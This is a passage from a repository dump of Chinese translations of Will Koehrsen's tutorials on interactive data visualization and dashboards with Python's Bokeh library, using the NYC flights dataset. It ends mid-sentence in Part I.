Tabs(tabs=[tab])\n```\n\n我将整个布局放在一个选项卡上，当我们创建一个完整的应用程序时，我们可以为每个绘图都创建一个单独的选项卡。最后的工作结果如下所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*5xN0M2CT1yAvpnzWM-bMhg.gif)\n\n可以在 [GitHub](https://github.com/WillKoehrsen/Bokeh-Python-Visualization/tree/master/interactive/exploration) 上查看相关代码，并绘制自己的绘图。\n\n### 下一步和内容\n\n本系列的下一部分将讨论如何使用多个绘图来制作一个完整的应用程序。我们将通过服务器来展示我们的工作结果，可以通过浏览器对其进行访问，并创建一个完整的仪表盘来探究数据集。\n\n我们可以看到，最终的互动绘图比原来的有用的多！我们现在可以比较航空公司之间的延迟，并更改容器的宽度/范围，来了解这些分布是如何被影响的。增加的交互性提高了绘图的价值，因为它增加了对数据的支持，并允许用户通过自己的探索得出结论。尽管设置了初始化的绘图，但我们仍然可以看到如何轻松地将元素和控件添加到现有的图形中。与像 matplotlib 这样快速简单的绘图库相比，使用更重的绘图库（比如 bokeh）可以定制化绘图和交互。不同的可视化库有不同的优点和用例，但当我们想要增加交互的额外维度时，Bokeh 是一个很好的选择。希望在这一点上，你有足够的信心来开发你自己的可视化绘图，也希望看到你可以分享自己的创作。\n\n欢迎向我反馈以及建设性的批评，可以在 Twitter [@koehrsen_will](https://twitter.com/koehrsen_will) 上和我联系。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/data-visualization-with-bokeh-in-python-part-iii-a-complete-dashboard.md",
    "content": "> * 原文地址：[Data Visualization with Bokeh in Python, Part III: Making a Complete Dashboard](https://towardsdatascience.com/data-visualization-with-bokeh-in-python-part-iii-a-complete-dashboard-dc6a86aa6e23)\n> * 原文作者：[Will Koehrsen](https://towardsdatascience.com/@williamkoehrsen?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/data-visualization-with-bokeh-in-python-part-iii-a-complete-dashboard.md](https://github.com/xitu/gold-miner/blob/master/TODO1/data-visualization-with-bokeh-in-python-part-iii-a-complete-dashboard.md)\n> * 译者：[YueYong](https://github.com/YueYongDev)\n\n# 利用 Python中的 Bokeh 实现数据可视化，第三部分：制作一个完整的仪表盘\n\n**在 Bokeh 中创建交互式可视化应用程序**\n\n![](https://cdn-images-1.medium.com/max/1000/1*wWPUyFSC0LlX960L3FTeDQ.jpeg)\n\n有时我会学习数据科学技术来解决特定问题。其他时候，我会尝试一种新工具，比如说 Bokeh，因为我在 Twitter 上看到一些很酷的项目，就会想：“那看起来很棒。虽然我不确定什么时候用，但迟早会有用的。”虽然几乎每次我都这么说，但是我最终都找到了这个工具的用途。数据科学需要许多不同能力方面的知识，你永远不知道下一个你将使用的想法将来自哪里！\n\n作为一个数据科学研究人员，在试用了几个星期之后，我终于在 Bokeh 的例子中找到了一个完美的用例。我的[研究项目](https://arpa-e.energy.gov/?q=slick-sheet-project/virtual-building-energy-audits)涉及利用数据科学提高商业建筑的能源效率。[在最近的一次会议](http://www.arpae-summit.com/about/about-the-summit)上，我们需要用一种方法来展示我们使用的众多技术的成果。通常情况下都建议使用 powerpoint 来完成这项任务，但是效果并不明显。大多数在会议中的人在看到第三张幻灯片时，就已经失去耐心了。尽管我对 Bokeh 还不是很熟悉，但我仍然自愿尝试利用这个库做一个交互式应用程序，我认为这会扩展我的技能，创造一个吸引人的方式来展示我们的项目。安全起见，我们团队准备了一个演示的备份，但在我向他们展示了一些初稿之后，他们给予了全力支持。最终的交互式仪表板在会议上脱颖而出，未来我们的团队也将会使用：\n\n![](https://cdn-images-1.medium.com/max/800/1*nN5-hITqzDlhelSJ2W9x5g.gif)\n\n为[我的研究](https://arpa-e.energy.gov/?q=slick-sheet-project/virtual-building-energy-audits)构建的 Bokeh 仪表盘的例子\n\n虽然说并不是每一个你在 Twitter上看到的想法都可能对你的职业生涯产生帮助，但我可以负责的说，了解更多的数据科学技术不会有什么坏处。沿着这些思路，我开始了本系列文章，以展示 Bokeh 的功能，[Bokeh](https://bokeh.pydata.org/en/latest/) 是 Python 中一个强大的绘图库，他可以允许你制作交互式绘图和仪表盘。尽管我不能向你展示我的研究的仪表盘，但是我可以使用公开可用的数据集展示在 Bokeh 中构建可视化的基础知识。第三篇文章是我的 Bokeh 系列文章的延续，[第一部分着重于构建一个简单的图](https://towardsdatascience.com/data-visualization-with-bokeh-in-python-part-one-getting-started-a11655a467d4)，[第二部分展示如何向 Bokeh 图中添加交互](https://towardsdatascience.com/data-visualization-with-bokeh-in-python-part-ii-interactions-a4cf994e2512)。在这篇文章中，我们将看到如何设置一个完整的 Bokeh 应用程序，并在您的浏览器中运行可访问的本地 Bokeh 服务器!\n\n本文将重点介绍 Bokeh 应用程序的结构，而不是具体的细节，但是你可以在 [GitHub](https://github.com/WillKoehrsen/Bokeh-Python-Visualization) 上找到所有内容的完整代码。我们将会使用 [NYCFlights13 数据集](https://cran.r-project.org/web/packages/nycflights13/nycflights13.pdf)，这是一个 2013 年从纽约 3 个机场起飞的航班的真实信息数据集。这个数据集中有超过 300,000 个航班信息，对于我们的仪表盘，我们将主要关注于到达延迟信息的统计。\n\n为了能完整运行整个应用程序，你需要先确保你已经安装了 Bokeh（使用 `pip install bokeh`），从 GitHub上 [下载](https://github.com/WillKoehrsen/Bokeh-Python-Visualization/blob/master/bokeh_app.zip) `[bokeh_app.zip](https://github.com/WillKoehrsen/Bokeh-Python-Visualization/blob/master/bokeh_app.zip)` [文件夹](https://github.com/WillKoehrsen/Bokeh-Python-Visualization/blob/master/bokeh_app.zip)，解压，并在当前目录打开一个命令窗口，并输入 `bokeh serve --show bokeh_app`。这会设置一个 [Bokeh 的本地服务](https://bokeh.pydata.org/en/latest/docs/user_guide/server.html) 同时还会在你的浏览器中打开一个应用（当然你也可以使用 Bokeh 的在线服务，但是目前对我们来说本地主机足矣）。\n\n### 最终产品\n\n在我们深入讨论细节之前，让我们先来看看我们的最终产品，这样我们就可以看到各个部分是如何组合在一起的。下面是一个短片，展示了我们如何与完整的仪表盘互动：\n\n- YouTube 视频链接：https://youtu.be/VWi3HAlKOUQ\n\nBokeh 航班应用最终版\n\n我在本地服务器上运行的浏览器（在 Chrome 的全屏模式下）中使用 Bokeh 应用程序。在顶部我们看到许多选项卡，每个选项卡包含不同部分的应用程序。仪表盘的想法是，虽然每个选项卡可以独立存在，但是我们可以将其中许多选项卡连接在一起，以支持对数据的完整探索。这段视频展示了我们可以用 Bokeh 制作的图表的范围，从直方图和密度图，到可以按列排序的数据表，再到完全交互式的地图。使用 Bokeh 这个库除了可以创建丰富的图形外，另一个好处是交互。每个标签都有一个交互元素可以让用户参与到数据中，并自己探索。从经验来看，当探索一个数据集时，人们喜欢自己去洞察，我们可以让他们通过各种控件来选择和过滤数据。\n\n现在我们对目标仪表盘已经有一个概念了，接下来让我们看看如何创建 Bokeh 应用程序。我强烈建议你[下载这些代码](https://github.com/WillKoehrsen/Bokeh-Python-Visualization/tree/master/bokeh_app)，以供参考！\n\n* * *\n\n### Bokeh 应用的结构\n\n在编写任何代码之前，为我们的应用程序建立一个框架是很重要的。在任何项目中，很容易被编码冲昏头脑，很快就会迷失在一堆尚未完成的脚本和错位的数据文件中，因此我们想要在编写代码和插入数据前先创建一个框架。这个组织将帮助我们跟踪应用程序中的所有元素，并在不可避免地出错时帮助我们进行调试。此外，我们可以在未来的项目中复用这个框架，这样我们在规划阶段的初始投资将在未来得到回报。\n\n为了设置一个 Boken 应用，我创建了一个名为 `bokeh_app` 的根目录来保存所有内容。在这个目录中，我们创建了一个子目录用来存档数据（命名为 `data`），另一个子目录用来存放脚本文件（命名为 `script`）并通过一个 `main.py` 文件将所有的东西组合在一起。通常，为了管理所有代码，我发现最好将每个选项卡的代码保存在单独的 Python 脚本中，并从单个主脚本调用它们。下面是我为 Bokeh 应用程序所创建的文件结构，它改编自[官方文档](https://bokeh.pydata.org/en/latest/docs/user_guide/server.html)。\n\n```\nbokeh_app\n|\n+--- data\n|   +--- info.csv\n|   +--- info2.csv\n|\n+--- scripts\n|   +--- plot.py\n|   +--- plot2.py\n|\n+--- main.py\n```\n\n对于 flight 应用程序，其结构大致如下：\n\n![](https://cdn-images-1.medium.com/max/800/1*MvlTa19t4B5MLhY6329B7Q.png)\n\n航班仪表盘的文件夹结构\n\n 在 `bokeh_app` 目录下有三个主要部分：`data`、`scripts` 和 `main.py`。当需要运行服务器时，我们在 `bokeh_app` 目录运行 Bokeh，它会自动搜索并运行 `main.py` 脚本。有了总体结构之后，让我们来看看 `main.py` 文件，我把它称为 Bokeh 应用程序的启动程序（并不是专业术语）！\n\n### `main.py`\n\n `main.py` 脚本是 Bokeh 应用程序的启动脚本。它加载数据，并把传递给其他脚本，获取结果图，并将它们组织好后单个显示出来。这将是我展示的唯一一个完整的脚本，因为它对应用程序非常重要：\n\n```\n# Pandas for data management\nimport pandas as pd\n\n# os methods for manipulating paths\nfrom os.path import dirname, join\n\n# Bokeh basics \nfrom bokeh.io import curdoc\nfrom bokeh.models.widgets import Tabs\n\n\n# Each tab is drawn by one script\nfrom scripts.histogram import histogram_tab\nfrom scripts.density import density_tab\nfrom scripts.table import table_tab\nfrom scripts.draw_map import map_tab\nfrom scripts.routes import route_tab\n\n# Using included state data from Bokeh for map\nfrom bokeh.sampledata.us_states import data as states\n\n# Read data into dataframes\nflights = pd.read_csv(join(dirname(__file__), 'data', 'flights.csv'), \n\t                                          index_col=0).dropna()\n\n# Formatted Flight Delay Data for map\nmap_data = pd.read_csv(join(dirname(__file__), 'data', 'flights_map.csv'),\n                            header=[0,1], index_col=0)\n\n# Create each of the tabs\ntab1 = histogram_tab(flights)\ntab2 = density_tab(flights)\ntab3 = table_tab(flights)\ntab4 = map_tab(map_data, states)\ntab5 = route_tb(flights)\n\n# Put all the tabs into one application\ntabs = Tabs(tabs = [tab1, tab2, tab3, tab4, tab5])\n\n# Put the tabs in the current document for display\ncurdoc().add_root(tabs)\n```\n\n我们从必要的导包开始，包括创建选项卡的函数，每个选项卡都存储在 `scripts` 目录中的单独脚本中。如果你看下文件结构，注意这里有一个 `__init__.py` 文件在 `scripts` 目录中。这是一个完全空白的文件，需要放在目录中，以允许我们使用相对语句导入适当的函数（例如 `from scripts.histogram import histogram_tab`）。我不太清楚为什么需要这样做，但它确实有效（我曾经解决过这个问题，这里是 [Stack Overflow 的答案](https://stackoverflow.com/a/48468292/5755357)）。\n\n在导入库和脚本后，我们利用 [Python](https://stackoverflow.com/questions/9271464/what-does-the-file-variable-mean-do/9271617) `[__file__](https://stackoverflow.com/questions/9271464/what-does-the-file-variable-mean-do/9271617)` [属性](https://stackoverflow.com/questions/9271464/what-does-the-file-variable-mean-do/9271617)读取必要的数据。在本例中，我们使用了两个 pandas 数据框（`flights` 和 `map_data`）以及包含在 Bokeh 中的美国各州的数据。读取数据之后，脚本继续进行执行：它将适当的数据传递给每个函数，每个函数绘制并返回一个选项卡，主脚本将所有这些选项卡组织在一个称为 `tabs` 的布局中。作为这些独立选项卡函数的示例，让我们来看看绘制 `map_tab` 的函数。\n\n该函数接收 `map_data`（航班数据的格式化版本）和美国各州数据，并为选定的航空公司生成航线图：\n\n![](https://cdn-images-1.medium.com/max/1000/1*fnxAzaoSwqrhX2K7RZJdeg.png)\n\n地图选项卡\n\n我们在本系列的第 2 部分中介绍了交互式情节，而这个情节只是该思想的一个实现。功能整体结构为：\n\n```\ndef map_tab(map_data, states):\n    ...\n    \n    def make_dataset(airline_list):\n    ...\n       return new_src\n    def make_plot(src):\n    ...\n       return p\n\n   def update(attr, old, new):\n   ...\n      new_src = make_dataset(airline_list)\n      src.data.update(new_src.data)\n\n   controls = ...\n   tab = Panel(child = layout, title = 'Flight Map')\n   \n   return tab\n```\n\n我们看到了熟悉的 `make_dataset`、`make_plot` 和 `update` 函数，这些函数用于[使用交互式控件绘制绘图](https://towardsdatascience.com/data- visualiz-with - bokehin - pythonpart -ii-interactions-a4cf994e2512)。一旦我们设置好了图，最后一行将整个图返回给主脚本。每个单独的脚本（5 个选项卡对应 5 个选项卡）都遵循相同的模式。\n\n回到主脚本，最后一步是收集选项卡并将它们添加到一个单独的文档中。\n\n```\n# Put all the tabs into one application\ntabs = Tabs(tabs = [tab1, tab2, tab3, tab4, tab5])\n\n# Put the tabs in the current document for display\ncurdoc().add_root(tabs)\n```\n\n选项卡显示在应用程序的顶部，就像任何浏览器中的选项卡一样，我们可以轻松地在它们之间切换以查看数据。\n\n![](https://cdn-images-1.medium.com/max/1000/1*CUyrsJpP5lkvVdheseAYXQ.png)\n\n### 运行 Bokeh 服务\n\n在完成所有的设置和编码之后，在本地运行 Bokeh 服务器非常简单。我们打开一个命令行界面（我更喜欢 Git Bash，但任何一个都可以），切换到包含 `bokeh_app` 的目录，并运行 `bokeh serve --show bokeh_app`。假设所有代码都正确，应用程序将自动在浏览器中打开地址 `http://localhost:5006/bokeh_app`。然后，我们就可以访问应用程序并查看我们的仪表盘了！\n\n![](https://cdn-images-1.medium.com/max/800/1*6orEuCOf0HsnCp_wzKPs3A.gif)\n\nBokeh 航班应用最终版\n\n#### 在 Jupyter Notebook 中调试\n\n如果出了什么问题（在我们刚开始编写仪表盘的时候，肯定会出现这种情况），令人沮丧的是，我们必须停止服务器、对文件进行更改并重新启动服务器，以查看我们的更改是否达到了预期的效果。为了快速迭代和解决问题，我通常在 Jupyter Notebook 中开发图。Jupyter Notebook 对 Bokeh 来说是一个很好的开发环境，因为你可以在笔记本中创建和测试完全交互式的绘图。语法略有不同，但一旦你有了一个完整的图，代码只需稍加修改，就可以复制粘贴到一个独立的 `.py` 脚本。要了解这一点的实际应用，请查看 [Jupyter Notebook](https://github.com/WillKoehrsen/Bokeh-Python-Visualization/blob/master/application/app_development.ipynb)。\n\n* * *\n\n### 总结\n\n一个完全可交互式的 Bokeh 仪表盘使任何数据科学项目脱颖而出。我经常看到我的同事们做了很多非常棒的统计工作，但却不能清楚地传达结果，这意味着所有这些工作都没有得到应有的认可。从个人经验来看，我也看到了 Bokeh 应用程序在交流结果方面是多么有效。虽然制作一个完整的仪表板需要做很多工作（超过 600 行代码），但是结果是值得的。此外，一旦我们有了一个应用程序，我们就可以使用 GitHub 快速地共享它，如果我们对我们的结构很了解，我们就可以在其他项目中重用这个框架。 \n\n从这个项目中得出的关键点适用于许多常规数据科学项目：\n\n1.  在开始一项数据科学任务之前，拥有适当的框架/结构（Bokeh 或其他的框架）是至关重要的。这样，您就不会发现自己迷失在试图查找错误的代码森林中。而且，一旦我们开发了一个有效的框架，它就可以以最小的工作量被复用，从而在未来带来收益。\n\n2.  找到一个调试周期，使你能够快速进行想法迭代是至关重要的。Jupyter Notebook 支持编写代码—查看结果—修复错误的循环，这有助于提高开发周期的效率（至少对于小型项目来说是这样）。\n\n3.  Bokeh 中的交互式应用程序将提升您的项目并鼓励用户参与。仪表盘可以是独立的探索性项目，也可以突出显示你已经完成的所有艰难的分析工作!\n\n4.  你永远不知道在哪里可以找到下一个你在工作中能用到的或有帮助的工具。所以睁大你的眼睛，不要害怕尝试新的软件和技术!\n\n这就是本文和本系列的全部内容，尽管我计划在未来在额外发布有关 Bokeh 的独立教程。以一种令人信服的方式展示数据科学成果是至关重要的，有了像 Bokeh 和 plot.ly 这样的库，制作交互式图形变得越来越容易。你可以在 [Bokeh GitHub repo](https://github.com/WillKoehrsen/Bokeh-Python-Visualization) 查看我所有的工作，免费 fork 它并开始你自己的项目。现在，我渴望看到其他人能创造出什么！\n\n一如既往地，我欢迎反馈和建设性的批评。你可以通过 Twitter [@koehrsen_will](https://twitter.com/koehrsen_will) 联系到我。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/data-visualization-with-bokeh-in-python-part-one-getting-started.md",
    "content": "> * 原文地址：[Data Visualization with Bokeh in Python, Part I: Getting Started](https://towardsdatascience.com/data-visualization-with-bokeh-in-python-part-one-getting-started-a11655a467d4)\n> * 原文作者：[Will Koehrsen](https://towardsdatascience.com/@williamkoehrsen?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/data-visualization-with-bokeh-in-python-part-one-getting-started.md](https://github.com/xitu/gold-miner/blob/master/TODO1/data-visualization-with-bokeh-in-python-part-one-getting-started.md)\n> * 译者：[Starriers](https://github.com/Starriers)\n\n# 用 Python 中的 Bokeh 实现可视化数据，第一部分：入门\n\n**提升你的可视化游数据**\n\n如果没有有效的方法来传达结果，那么再复杂的统计分析也毫无意义。这一点我在最近的研究项目中深有体会，我们使用[数据科学来提高建筑能效](https://arpa-e.energy.gov/?q=slick-sheet-project/virtual-building-energy-audits)。在过去的几个月里，我团队成员中的一个人一直致力于研究一种叫做 [wavelet transforms](http://disp.ee.ntu.edu.tw/tutorial/WaveletTutorial.pdf)，用于分析时间序列频率成分的技术。该方法取得了积极的效果，但她在解释过程中遇到了困难，所幸的是，她没有迷失在技术细节中。\n\n她很愤怒，问我能否用视觉表达来说明这种变换。我使用了叫做 `gganimate` 的 R 包，在几分钟之内制作了一个简单的动画，展示了该方法是如何转换时间序列的。现在，我的团队成员可以用这个让人直观地了解技术是如何工作的东西来取代费劲的语言描述。我的结论是，我们可以做最严格的分析，但在一天结束时，所有人都想看到的是一个 gif！虽然说这话是开玩笑，但它蕴含着一个道理：不能清楚地表达结果，就会对结果产生影响，而数据可视化通常是展示分析结果的最佳方法。\n\n可用于数据科学的资源正在迅速增加，在[可视化领域](https://codeburst.io/overview-of-python-data-visualization-tools-e32e1f716d10)中尤为明显，似乎每周都有一种新的尝试。随着这些技术的进步，它们逐渐出现了一个共同的趋势：增加交互性。人们喜欢在静态图中查看数据，但他们更喜欢的是使用数据，并利用这些数据来查看参数的变化对结果的影响。在我的研究中，有一份报告是用来告诉业主通过改变他们的空调使用时间可以节省下多少度电，但如果给他们一个可以交互的表，他们就可以自己选择不同的时间表，来观察不用时间是如何影响用电的，这种方式更加有效。最近，受交互式绘图趋势的启发，以及对不断学习新工具的渴望，我一直在学习使用一个叫做 [Bokeh](https://bokeh.pydata.org/en/latest/) 的 Python 库。我为我的研究项目构建的仪表盘中显示了 Bokeh 交互功能的一个示例：\n\n![](https://cdn-images-1.medium.com/max/800/1*nN5-hITqzDlhelSJ2W9x5g.gif)\n\n尽管我无法共享这个项目的整个代码，但我可以通过使用公开可用数据构建完全交互的 Bokeh 应用程序的示例。本系列文章将介绍使用 Bokeh 创建应用程序的整个过程。对于第一篇文章，我们将介绍 Bokeh 的基本元素，我们将在以后的文章中对其进行构建，在本系列文章中，我们将使用 [nycflights13 数据集](https://cran.r-project.org/web/packages/nycflights13/nycflights13.pdf)，该数据集有 2013 年以来超过 30 万次航班的记录。我们首先将重点放在可视化单个变量上，在这种情况下，航班的延迟到达以分钟为单位，我们将从构造一个基本的柱状图开始，这是显示一个连续变量的扩展和位置的经典方法。[完整的代码可以在 GitHub 查看](https://github.com/WillKoehrsen/Bokeh-Python-Visualization)，第一个 Jupyter notebook 可以在[这里](https://github.com/WillKoehrsen/Bokeh-Python-Visualization/blob/master/intro/exploration/first_histogram.ipynb)看到。这篇文章关注的是视觉效果，所以我鼓励任何人查看代码，如果他们想看到无聊但又必不可少数据清洗和格式化的步骤！\n\n### Bokeh 基础\n\nBokeh 的主要概念是一次建立一个图层。我们首先创建一个图，然后向图中添加名为 [glyphs](https://bokeh.pydata.org/en/latest/docs/user_guide/plotting.html) 的元素。（对于那些使用 ggplot 的人来说，glyphs 的概念与地理符号的想法本质上是一样的，他们一次添加到一个“图层”中。）根据所需的用途，glyphs 可以呈现多种形状：圆形、线条、补丁、条形、弧形等。让我们用正方形和圆形制作一个基本的图来说明 glyphs 的概念。首先，我们使用 `figure` 方法绘制一个图，然后通过调用适当的方法传入数据，将我们的 glyphs 添加到绘图中。最后，我们展示绘图（我使用的是 Jupyter Notebook，如果你使用时调用的是 `output_notebook`，就会看到对应的绘图）。\n\n```Python\n# bokeh 基础\nfrom bokeh.plotting import figure\nfrom bokeh.io import show, output_notebook\n\n# 创建带标签的空白图\np = figure(plot_width = 600, plot_height = 600, \n           title = 'Example Glyphs',\n           x_axis_label = 'X', y_axis_label = 'Y')\n\n# 示例数据\nsquares_x = [1, 3, 4, 5, 8]\nsquares_y = [8, 7, 3, 1, 10]\ncircles_x = [9, 12, 4, 3, 15]\ncircles_y = [8, 4, 11, 6, 10]\n\n# 添加方形 glyph\np.square(squares_x, squares_y, size = 12, color = 'navy', alpha = 0.6)\n# 添加圆形 glyph\np.circle(circles_x, circles_y, size = 12, color = 'red')\n\n# 设置为在笔记本中输出情节\noutput_notebook()\n# 显示绘图\nshow(p)\n```\n\n这就形成了下面略显平淡的绘图：\n\n![](https://cdn-images-1.medium.com/max/800/1*fGSBddMUbg_N--xbBOdUOg.png)\n\n尽管在任何绘制图库中，我们都可以很容易地制作这个图表，但我们可以免费获取一些工具，其中包含位于右侧的 Bokeh 绘图，包括 panning，缩放和绘图保存功能。这些工具是可配置的，当我们想研究我们的数据时，这些工具会派上用场。\n\n我们现在开始展示我们的航班延迟数据。在跳转到图形之前，我们应该加载数据并对其进行简短的检查（**粗体** 为输出代码）：\n\n```Python\n# 将 CSV 中的数据读入\nflights = pd.read_csv('../data/flights.csv', index_col=0)\n\n# 兴趣栏的统计数据汇总\nflights['arr_delay'].describe()\n\ncount    327346.000000\nmean          6.895377\nstd          44.633292\nmin         -86.000000\n25%         -17.000000\n50%          -5.000000\n75%          14.000000\nmax        1272.000000\n```\n\n摘要统计数据为我们作出决策提供了信息：我们有 327、346 次航班，最小延迟事件为 -86 分钟，最大延迟事件为 1272 分钟，令人震惊的 21 小时！75% 的分位数只有 14 分钟，所以我们可以假设 1000 分钟以上的数字可能是异常值（这并不意味着它们是非法的，只是极端的）。我会集中讨论 -60 到 120 分钟的延迟柱状图。\n\n[柱状图](https://www.moresteam.com/toolbox/histogram.cfm)是单个变量初始可视化的常见选择，因为它显示了分布式数据。x 位置是将变量分组成成为 bin 的间隔的值，每个条形的高度表示每个间隔数据点的计数（数目）。在我们的例子中，x 位置将代表以分钟为单位的延迟到达，高度是对应的 bin 中的航班数。Bokeh 没有内置的柱状图，但我们可以使用 `quad` glyph 来指定每个条形的底部、上、下、和右边距。\n\n要创建条形图的数据，我们要使用 [numpy](https://docs.scipy.org/doc/numpy-1.14.0/reference/generated/numpy.histogram.html)、`[histogram](https://docs.scipy.org/doc/numpy-1.14.0/reference/generated/numpy.histogram.html)`、[function](https://docs.scipy.org/doc/numpy-1.14.0/reference/generated/numpy.histogram.html)，它计算每个指定 bin 数据点的数值。我们使用 5 分钟的长度作为函数将计算航班数在每五分钟所花费的时间延误。在生成数据之后，我们将其放入一个 [pandas dataframe 来将所有的数据保存在一个对象中](https://pandas.pydata.org/pandas-docs/stable/dsintro.html)。这里的代码对于理解 Bokeh 并不是很重要，但鉴于 Numpy 和 pandas 在数据科学中的流行度，所以它还是有些用处的。\n\n```Python\n\"\"\"Bins will be five minutes in width, so the number of bins \nis (length of interval / 5). Limit delays to [-60, +120] minutes using the range.\"\"\"\n\narr_hist, edges = np.histogram(flights['arr_delay'], \n                               bins = int(180/5), \n                               range = [-60, 120])\n\n# 将信息放入 dataframe\ndelays = pd.DataFrame({'arr_delay': arr_hist, \n                       'left': edges[:-1], \n                       'right': edges[1:]})\n```\n\n我们的数据看起来像这样：\n\n![](https://cdn-images-1.medium.com/max/800/1*JSiAY3RSGOhur9agdzgEYQ.png)\n\n`flights` 列是从 `left` 到 `right` 的每个延迟间隔内飞行次数的计数。在这里，我们可以生成一个新的 Bokeh 图，并添加一个指定适当参数的 quad glpyh：\n\n```Python\n# 创建空白绘图\np = figure(plot_height = 600, plot_width = 600, \n           title = 'Histogram of Arrival Delays',\n          x_axis_label = 'Delay (min)]', \n           y_axis_label = 'Number of Flights')\n\n# 添加一个 quad glphy\np.quad(bottom=0, top=delays['flights'], \n       left=delays['left'], right=delays['right'], \n       fill_color='red', line_color='black')\n\n# 显示绘图\nshow(p)\n```\n\n![](https://cdn-images-1.medium.com/max/800/1*afCD1sc8mNPYrZ2kh2jfxg.png)\n\n生成此图的大部分工作都是在数据格式化过程中进行的，这在数据科学中并不常见！从我们的绘图中可以看出，延迟到达几乎是正态分布的，[右侧有一个轻微的正斜度或重尾巴](http://www.statisticshowto.com/probability-and-statistics/skewed-distribution/)。\n\n有更简单的方法可以在 Python 中创建柱状图，也可以使用几行 `[matplotlib](https://en.wikipedia.org/wiki/Matplotlib)` 来获取相同的结果。但是，Bokeh 绘图所带来的开发的好处在于，它可以提供将数据交互轻松地添加到图形中的工具和方法。\n\n### 添加交互性\n\n我们将在本系列中讨论的第一类交互是被动交互。这些是拥护可以采取的不改变显示数据的操作。它们被称为 [inspectors](https://bokeh.pydata.org/en/latest/docs/reference/models/tools.html)，因为他们允许用户查看更详细的“调查”数据。有用的 inspector 是当用户鼠标在数据点上移动并调用 [Bokeh 中的悬停工具](https://bokeh.pydata.org/en/latest/docs/user_guide/tools.html)时，会出现工具提示。\n\n![](https://cdn-images-1.medium.com/max/800/1*3A33DOx2NL0h53SfsgPrzg.png)\n\n基础的悬停工具提示\n\n为了添加工具提示，我们需要将数据源从 dataframe 中更改为来自 [ColumnDataSource，Bokeh 中的一个关键概念。](https://bokeh.pydata.org/en/latest/docs/reference/models/sources.html)这是一个专门用于绘图的对象，它包含数据以及方法和属性。ColumnDataSource 允许我们在图中添加注解和交互，也可以从 pandas dataframe 中进行构建。真实数据被保存在字典中，可以通过 ColumnDataSource 的 data 属性访问。这里，我们从数据源进行创建源，并查看数据字典中与 dataframe 列对应的键。\n\n```Python\n# 导入 ColumnDataSource 类\nfrom bokeh.models import ColumnDataSource\n\n# 将 dataframe 转换为 列数据源\nsrc = ColumnDataSource(delays)\nsrc.data.keys()\n\ndict_keys(['flights', 'left', 'right', 'index'])\n```\n\n我们使用 CloumDataSource 添加 glyphs 时，我们将 CloumnDataSource 作为 `source` 参数传入，并使用字符串引用列名：\n\n```Python\n# 这次添加一个带有源的 quad glyph\np.quad(source = src, bottom=0, top='flights', \n       left='left', right='right', \n       fill_color='red', line_color='black')\n```\n\n请注意，代码如何引用特定的数据列，比如 ‘flights’、‘left’ 和 ‘right’，而不是像以前那样使用 `df['column']` 格式。\n\n#### Bokeh 中的 HoverTool\n\n一开始，HoverTool 的语法看上去会有些复杂，但经过实践后，就会发现它们很容易创建。我们将 `HoverTool` 实例作为 `tooltips` 作为 [Python 元组](https://www.tutorialspoint.com/python/python_tuples.htm)传递给它，其中第一个元素是数据的标签，第二个元素引出我们要高亮显示的特定数据。我们可以使用 ‘$’ 引用图中任何属性，例如 x 或 y 的位置，也可以使用 ‘@’ 引用源中特定字段。这听起来可能有点令人困惑，所以这里有一个 HoverTool 的例子，我们在这两方面都可以这么做：\n\n```Python\n# 使用 @ 引用我们自己的数据字段\n# 使用 $ 在图上的位置悬停工具\nh = HoverTool(tooltips = [('Delay Interval Left ', '@left'),\n                          ('(x,y)', '($x, $y)')])\n```\n\n这里，我们使用 ‘@’ 引用 ColumnDataSource（它对应于原始 dataframe 的 ‘left’ 列）中的 `left` 数据字段，并使用 ‘$’ 引用光标的 (x,y) 位置。结果如下：\n\n![](https://cdn-images-1.medium.com/max/800/1*fLiHCLkN15ZhCH9fk7GMXg.png)\n\n显示不同数据引用的悬停工具提示\n\n(x,y) 位置上是鼠标的位置，对我们的柱状图没有太大的帮助，因为我们要找到给定条形中对应于条形顶部的飞行术。为了修复这个问题，我们将要修改我们的工具提示实例来引用正确的列。格式化工具提示中的数据显示可能会让人沮丧，因此我通常在 dataframe 